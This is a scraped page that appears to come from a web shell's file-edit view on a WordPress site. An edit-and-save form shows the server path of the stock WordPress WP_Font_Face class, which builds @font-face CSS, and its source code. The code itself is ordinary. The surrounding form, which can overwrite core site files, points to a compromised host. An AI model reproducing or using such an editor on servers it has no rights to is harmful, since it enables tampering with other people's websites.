<h2>File Contents: /home/planet5/public_html/wp-includes/fonts/class-wp-font-face.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/public_html/wp-includes/fonts/class-wp-font-face.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * WP_Font_Face class.
 *
 * @package    WordPress
 * @subpackage Fonts
 * @since      6.4.0
 */

/**
 * Font Face generates and prints `@font-face` styles for given fonts.
 *
 * @since 6.4.0
 */
class WP_Font_Face {

	/**
	 * The font-face property defaults.
	 *
	 * @since 6.4.0
	 *
	 * @var string[]
	 */
	private $font_face_property_defaults = array(
		&#039;font-family&#039;  =&gt; &#039;&#039;,
		&#039;font-style&#039;   =&gt; &#039;normal&#039;,
		&#039;font-weight&#039;  =&gt; &#039;400&#039;,
		&#039;font-display&#039; =&gt; &#039;fallback&#039;,
	);

	/**
	 * Valid font-face property names.
	 *
	 * @since 6.4.0
	 *
	 * @var string[]
	 */
	private $valid_font_face_properties = array(
		&#039;ascent-override&#039;,
		&#039;descent-override&#039;,
		&#039;font-display&#039;,
		&#039;font-family&#039;,
		&#039;font-stretch&#039;,
		&#039;font-style&#039;,
		&#039;font-weight&#039;,
		&#039;font-variant&#039;,
		&#039;font-feature-settings&#039;,
		&#039;font-variation-settings&#039;,
		&#039;line-gap-override&#039;,
		&#039;size-adjust&#039;,
		&#039;src&#039;,
		&#039;unicode-range&#039;,
	);

	/**
	 * Valid font-display values.
	 *
	 * @since 6.4.0
	 *
	 * @var string[]
	 */
	private $valid_font_display = array( &#039;auto&#039;, &#039;block&#039;, &#039;fallback&#039;, &#039;swap&#039;, &#039;optional&#039; );

	/**
	 * Generates and prints the `@font-face` styles for the given fonts.
	 *
	 * @since 6.4.0
	 *
	 * @param array[][] $fonts Optional. The font-families and their font variations.
	 *                         See {@see wp_print_font_faces()} for the supported fields.
	 *                         Default empty array.
	 */
	public function generate_and_print( array $fonts ) {
		$fonts = $this-&gt;validate_fonts( $fonts );

		// Bail out if there are no fonts are given to process.
		if ( empty( $fonts ) ) {
			return;
		}

		$css = $this-&gt;get_css( $fonts );

		/*
		 * The font-face CSS is contained within &lt;style&gt; tags and can only be interpreted
		 * as CSS in the browser. Using wp_strip_all_tags() is sufficient escaping
		 * to avoid malicious attempts to close &lt;/style&gt; and open a &lt;script&gt;.
		 */
		$css = wp_strip_all_tags( $css );

		// Bail out if there is no CSS to print.
		if ( empty( $css ) ) {
			return;
		}

		$processor = new WP_HTML_Tag_Processor( &#039;&lt;style class=&quot;wp-fonts-local&quot;&gt;&lt;/style&gt;&#039; );
		$processor-&gt;next_tag();
		$processor-&gt;set_modifiable_text( &quot;\n{$css}\n&quot; );
		echo &quot;{$processor-&gt;get_updated_html()}\n&quot;;
	}

	/**
	 * Validates each of the font-face properties.
	 *
	 * @since 6.4.0
	 *
	 * @param array $fonts The fonts to valid.
	 * @return array Prepared font-faces organized by provider and font-family.
	 */
	private function validate_fonts( array $fonts ) {
		$validated_fonts = array();

		foreach ( $fonts as $font_faces ) {
			foreach ( $font_faces as $font_face ) {
				$font_face = $this-&gt;validate_font_face_declarations( $font_face );
				// Skip if failed validation.
				if ( false === $font_face ) {
					continue;
				}

				$validated_fonts[] = $font_face;
			}
		}

		return $validated_fonts;
	}

	/**
	 * Validates each font-face declaration (property and value pairing).
	 *
	 * @since 6.4.0
	 *
	 * @param array $font_face Font face property and value pairings to validate.
	 * @return array|false Validated font-face on success, or false on failure.
	 */
	private function validate_font_face_declarations( array $font_face ) {
		$font_face = wp_parse_args( $font_face, $this-&gt;font_face_property_defaults );

		// Check the font-family.
		if ( empty( $font_face[&#039;font-family&#039;] ) || ! is_string( $font_face[&#039;font-family&#039;] ) ) {
			// @todo replace with `wp_trigger_error()`.
			_doing_it_wrong(
				__METHOD__,
				__( &#039;Font font-family must be a non-empty string.&#039; ),
				&#039;6.4.0&#039;
			);
			return false;
		}

		// Make sure that local fonts have &#039;src&#039; defined.
		if ( empty( $font_face[&#039;src&#039;] ) || ( ! is_string( $font_face[&#039;src&#039;] ) &amp;&amp; ! is_array( $font_face[&#039;src&#039;] ) ) ) {
			// @todo replace with `wp_trigger_error()`.
			_doing_it_wrong(
				__METHOD__,
				__( &#039;Font src must be a non-empty string or an array of strings.&#039; ),
				&#039;6.4.0&#039;
			);
			return false;
		}

		// Validate the &#039;src&#039; property.
		foreach ( (array) $font_face[&#039;src&#039;] as $src ) {
			if ( empty( $src ) || ! is_string( $src ) ) {
				// @todo replace with `wp_trigger_error()`.
				_doing_it_wrong(
					__METHOD__,
					__( &#039;Each font src must be a non-empty string.&#039; ),
					&#039;6.4.0&#039;
				);
				return false;
			}
		}

		// Check the font-weight.
		if ( ! is_string( $font_face[&#039;font-weight&#039;] ) &amp;&amp; ! is_int( $font_face[&#039;font-weight&#039;] ) ) {
			// @todo replace with `wp_trigger_error()`.
			_doing_it_wrong(
				__METHOD__,
				__( &#039;Font font-weight must be a properly formatted string or integer.&#039; ),
				&#039;6.4.0&#039;
			);
			return false;
		}

		// Check the font-display.
		if ( ! in_array( $font_face[&#039;font-display&#039;], $this-&gt;valid_font_display, true ) ) {
			$font_face[&#039;font-display&#039;] = $this-&gt;font_face_property_defaults[&#039;font-display&#039;];
		}

		// Remove invalid properties.
		foreach ( $font_face as $property =&gt; $value ) {
			if ( ! in_array( $property, $this-&gt;valid_font_face_properties, true ) ) {
				unset( $font_face[ $property ] );
			}
		}

		return $font_face;
	}

	/**
	 * Gets the `@font-face` CSS styles for locally-hosted font files.
	 *
	 * This method does the following processing tasks:
	 *    1. Orchestrates an optimized `src` (with format) for browser support.
	 *    2. Generates the `@font-face` for all its fonts.
	 *
	 * @since 6.4.0
	 *
	 * @param array[] $font_faces The font-faces to generate @font-face CSS styles.
	 * @return string The `@font-face` CSS styles.
	 */
	private function get_css( $font_faces ) {
		$css = &#039;&#039;;

		foreach ( $font_faces as $font_face ) {
				// Order the font&#039;s `src` items to optimize for browser support.
				$font_face = $this-&gt;order_src( $font_face );

				// Build the @font-face CSS for this font.
				$css .= &#039;@font-face{&#039; . $this-&gt;build_font_face_css( $font_face ) . &#039;}&#039; . &quot;\n&quot;;
		}

		// Don&#039;t print the last newline character.
		return rtrim( $css, &quot;\n&quot; );
	}

	/**
	 * Orders `src` items to optimize for browser support.
	 *
	 * @since 6.4.0
	 *
	 * @param array $font_face Font face to process.
	 * @return array Font-face with ordered src items.
	 */
	private function order_src( array $font_face ) {
		if ( ! is_array( $font_face[&#039;src&#039;] ) ) {
			$font_face[&#039;src&#039;] = (array) $font_face[&#039;src&#039;];
		}

		$src         = array();
		$src_ordered = array();

		foreach ( $font_face[&#039;src&#039;] as $url ) {
			// Add data URIs first.
			if ( str_starts_with( trim( $url ), &#039;data:&#039; ) ) {
				$src_ordered[] = array(
					&#039;url&#039;    =&gt; $url,
					&#039;format&#039; =&gt; &#039;data&#039;,
				);
				continue;
			}
			$format         = pathinfo( $url, PATHINFO_EXTENSION );
			$src[ $format ] = $url;
		}

		// Add woff2.
		if ( ! empty( $src[&#039;woff2&#039;] ) ) {
			$src_ordered[] = array(
				&#039;url&#039;    =&gt; $src[&#039;woff2&#039;],
				&#039;format&#039; =&gt; &#039;woff2&#039;,
			);
		}

		// Add woff.
		if ( ! empty( $src[&#039;woff&#039;] ) ) {
			$src_ordered[] = array(
				&#039;url&#039;    =&gt; $src[&#039;woff&#039;],
				&#039;format&#039; =&gt; &#039;woff&#039;,
			);
		}

		// Add ttf.
		if ( ! empty( $src[&#039;ttf&#039;] ) ) {
			$src_ordered[] = array(
				&#039;url&#039;    =&gt; $src[&#039;ttf&#039;],
				&#039;format&#039; =&gt; &#039;truetype&#039;,
			);
		}

		// Add eot.
		if ( ! empty( $src[&#039;eot&#039;] ) ) {
			$src_ordered[] = array(
				&#039;url&#039;    =&gt; $src[&#039;eot&#039;],
				&#039;format&#039; =&gt; &#039;embedded-opentype&#039;,
			);
		}

		// Add otf.
		if ( ! empty( $src[&#039;otf&#039;] ) ) {
			$src_ordered[] = array(
				&#039;url&#039;    =&gt; $src[&#039;otf&#039;],
				&#039;format&#039; =&gt; &#039;opentype&#039;,
			);
		}
		$font_face[&#039;src&#039;] = $src_ordered;

		return $font_face;
	}

	/**
	 * Builds the font-family&#039;s CSS.
	 *
	 * @since 6.4.0
	 *
	 * @param array $font_face Font face to process.
	 * @return string This font-family&#039;s CSS.
	 */
	private function build_font_face_css( array $font_face ) {
		$css = &#039;&#039;;

		/*
		 * Wrap font-family in quotes if it contains spaces
		 * and is not already wrapped in quotes.
		 */
		if (
			str_contains( $font_face[&#039;font-family&#039;], &#039; &#039; ) &amp;&amp;
			! str_contains( $font_face[&#039;font-family&#039;], &#039;&quot;&#039; ) &amp;&amp;
			! str_contains( $font_face[&#039;font-family&#039;], &quot;&#039;&quot; )
		) {
			$font_face[&#039;font-family&#039;] = &#039;&quot;&#039; . $font_face[&#039;font-family&#039;] . &#039;&quot;&#039;;
		}

		foreach ( $font_face as $key =&gt; $value ) {
			// Compile the &quot;src&quot; parameter.
			if ( &#039;src&#039; === $key ) {
				$value = $this-&gt;compile_src( $value );
			}

			// If font-variation-settings is an array, convert it to a string.
			if ( &#039;font-variation-settings&#039; === $key &amp;&amp; is_array( $value ) ) {
				$value = $this-&gt;compile_variations( $value );
			}

			if ( ! empty( $value ) ) {
				$css .= &quot;$key:$value;&quot;;
			}
		}

		return $css;
	}

	/**
	 * Compiles the `src` into valid CSS.
	 *
	 * @since 6.4.0
	 *
	 * @param array $value Value to process.
	 * @return string The CSS.
	 */
	private function compile_src( array $value ) {
		$src = &#039;&#039;;

		foreach ( $value as $item ) {
			$src .= ( &#039;data&#039; === $item[&#039;format&#039;] )
				? &quot;, url({$item[&#039;url&#039;]})&quot;
				: &quot;, url(&#039;{$item[&#039;url&#039;]}&#039;) format(&#039;{$item[&#039;format&#039;]}&#039;)&quot;;
		}

		$src = ltrim( $src, &#039;, &#039; );
		return $src;
	}

	/**
	 * Compiles the font variation settings.
	 *
	 * @since 6.4.0
	 *
	 * @param array $font_variation_settings Array of font variation settings.
	 * @return string The CSS.
	 */
	private function compile_variations( array $font_variation_settings ) {
		$variations = &#039;&#039;;

		foreach ( $font_variation_settings as $key =&gt; $value ) {
			$variations .= &quot;$key $value&quot;;
		}

		return $variations;
	}
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fpublic_html%2Fwp-includes%2Ffonts'>⬅ Back to Directory</a>